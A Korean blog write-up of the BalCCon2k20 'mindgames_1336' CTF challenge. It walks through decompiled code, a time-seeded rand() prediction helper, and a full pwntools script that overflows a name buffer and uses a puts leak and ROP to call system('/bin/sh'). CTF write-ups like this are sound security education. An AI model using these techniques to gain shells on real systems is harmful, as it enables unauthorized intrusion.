메로나

[BalCCon2k20] mindgames_1336 write-up 본문

Wargame & CTF/Pwnable

[BalCCon2k20] mindgames_1336 write-up

m3r0n4 2020. 9. 29. 02:46

저번주에 참여했던 BalCCon2k20에서 본 문제이다. 그냥 간단한 ROP였는데 Stripped 되어있어서 어케해야하는지 몰랐는데 우연히 맞았다.

 

제목에서 볼 수 있듯이 그냥 컴퓨터가 생각하는 숫자를 적으면 무언가를 할 수 있게 된다.

먼저 보호기법을 보면 아래와 같다.

NX만 Enabled 되어 있다. 쉘코드는 사용할 수 없다.

하나하나 따라가 보자.

void __noreturn sub_401445()
{
  int v0; // [rsp+Ch] [rbp-4h]

  v0 = 0;
  sub_401249();
  printf("\nWe should play a game of the mind!\n> ");
  while ( 1 )
  {
    while ( 1 )
    {
      printf("What do you want to do?\n 1) Show Highscore\n 2) Play the game\n 3) Exit\n> ");
      __isoc99_scanf("%d", &v0);
      if ( v0 != 1 )
        break;
      sub_40130F();
    }
    if ( v0 != 2 )
      exit(0);
    sub_40139A();
  }
}

맨 처음에 호출되는 함수이다. 이 문제에서는 게임을 먼저 플레이를 해 봐야한다. 2번 함수로 가보도록 하자.

__int64 sub_40139A()
{
  __int64 result; // rax
  int v1; // [rsp+4h] [rbp-Ch]
  int v2; // [rsp+8h] [rbp-8h]
  unsigned int v3; // [rsp+Ch] [rbp-4h]

  v3 = 0;
  v2 = 0;
  v1 = 0;
  printf("Can you guess my numbers?\n> ");
  while ( 1 )
  {
    v2 = rand();
    __isoc99_scanf("%d", &v1);
    if ( v2 != v1 )
      break;
    printf("You were lucky this time!\n>", &v1);
    ++v3;
  }
  puts("Game over!");
  result = (unsigned int)dword_4040E0;
  if ( v3 >= dword_4040E0 )
  {
    puts("New Highscore! Amazing!");
    dword_4040E0 = v3;
    result = (__int64)sub_401336();
  }
  return result;
}

dword_4040E0은 따라가보면 sub_401249 함수에서 선언이 되는데, 그 값은 rand() % 32 + 1, 즉 1과 32 사이의 랜덤한 숫자이다. 여기서 새로운 함수(sub_401336) 을 호출하기 위해서는 dword_4040E0만큼 컴퓨터를 이겨야한다. 만약 dword_4040E0 만큼 이겼을 때 어떤 함수를 불러오는 지 보도록 하자.

void *sub_401336()
{
  char buf; // [rsp+0h] [rbp-110h]
  size_t n; // [rsp+108h] [rbp-8h]

  printf("Give me your name: ");
  qword_4040E8 = (__int64)&unk_4040C0;
  n = read(0, &buf, 0x400uLL);                 
  return memcpy(&unk_4040C0, &buf, n);
}

신기록을 세웠을 때 이름을 입력받는 함수이다. buf 크기는 0x110이지만 read 함수로 0x400만큼 받아올 수 있으므로 여기서 취약점이 1차적으로 터지게 된다. 

그러면 공격 시나리오가 대충 구상이 된다.

1. dword_4040E0 값을 알아 내 그 만큼의 승리를 따내고 sub_401336 함수를 불러오기
2. read 함수에서 터지는 오버플로우를 이용해 ROP

이를 위해서는 먼저 위의 게임에서 이겨야한다. 파이썬에서 시드값을 주고 랜덤값을 어떻게 생성하는 지 몰랐기 때문에, 랜덤값을 생성하는 C 프로그램을 먼저 만들어서 거기서 recv를 해오는 방식으로 진행을 하였다.

#include <stdio.h>
#include <time.h>

int main()
{
	srand(time(NULL));
	int v0 = rand();
	int num = rand() % 32 + 1;
	printf("%d\n", num)
	for(int i=0;i<num;i++)
	{
		printf("%d\n", rand());
	}
}

이런 방식으로 맨 처음에 dword_4040E0값을 알아내고, 그만큼의 랜덤한 값을 출력해 내는 프로그램을 만들고, 이를 리스트에 저장해 하나씩 send하도록 하면 성공적으로 sub_401336 함수를 불러올 수 있을 것이다.

그리고 나면 ROP를 할 수 있을것인데, 이를 하기 위해서는 puts 함수로 실제 주소를 불러와야한다. 하지만 이 파일은 stripped 되어 있기 때문에 symbol을 불러올 수가 없다. 그래서 IDA로 분석해 그냥 가지고 왔다. 

from pwn import *

rand = process('./rand')

ran = []

num = int(rand.recvline())

for i in range(0, num):
	randint = int(rand.recvline())
	ran.append(randint)
	log.success(ran[i])
#p = remote('pwn.institute', 41336)
p = process('./mindgames')

pr = 0x4015c3
puts_got = 0x404020
puts_plt = 0x401040
vuln = 0x401336

payload = '2'
p.sendlineafter("3) Exit\n> ", payload)

for i in range(0, num):
	p.sendline(str(ran[i]))
p.sendlineafter('>', payload)

payload = "A" * (0x110 + 8)
payload += p64(pr)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(vuln)

p.sendlineafter('Give me your name: ', payload)
puts_addr = u64(p.recvuntil('\x7f')[-6:] + '\x00\x00')
log.success(hex(puts_addr))
system = puts_addr - 0x2a300
binsh = puts_addr + 0x11d777

payload = "A" * (0x110 + 8)
payload += p64(pr)
payload += p64(binsh)
payload += p64(system)

p.sendlineafter('Give me your name: ', payload)

p.interactive()

익스플로잇 코드이다. 설명을 하자면

puts 함수로 puts 함수의 실제 주소를 갖고오고 sub_401336 함수의 주소로 return address를 덮어 다시 함수를 불러온다. puts 함수의 실제 주소를 이용해 libc 버전을 알아내고 그 버전에서의 system 함수와 /bin/sh\x00 까지의 오프셋을 알아내어 각각의 주소를 구한다. 이를 이용해 system('/bin/sh\x00') 을 실행하면 끝나는 것이다. 

실행해 보면,

성공적으로 쉘을 불러온 것을 확인할 수 있다.

처음에 이상한 곳에서 계속 막혔다... 그래도 대회 중에 풀 수 있어서 좋았다 ~_~

'Wargame & CTF > Pwnable' 카테고리의 다른 글

[HackCTF] Look at me (350) write-up  (0) 2020.12.19
[HackCTF] RTL_Core (250) write-up  (0) 2020.10.19
[HackCTF] Random Key (200) write-up  (0) 2020.09.01
[HackCTF] RTL_World (200) write-up  (0) 2020.08.21
[HackCTF] Yes or no (150) write-up  (0) 2020.08.19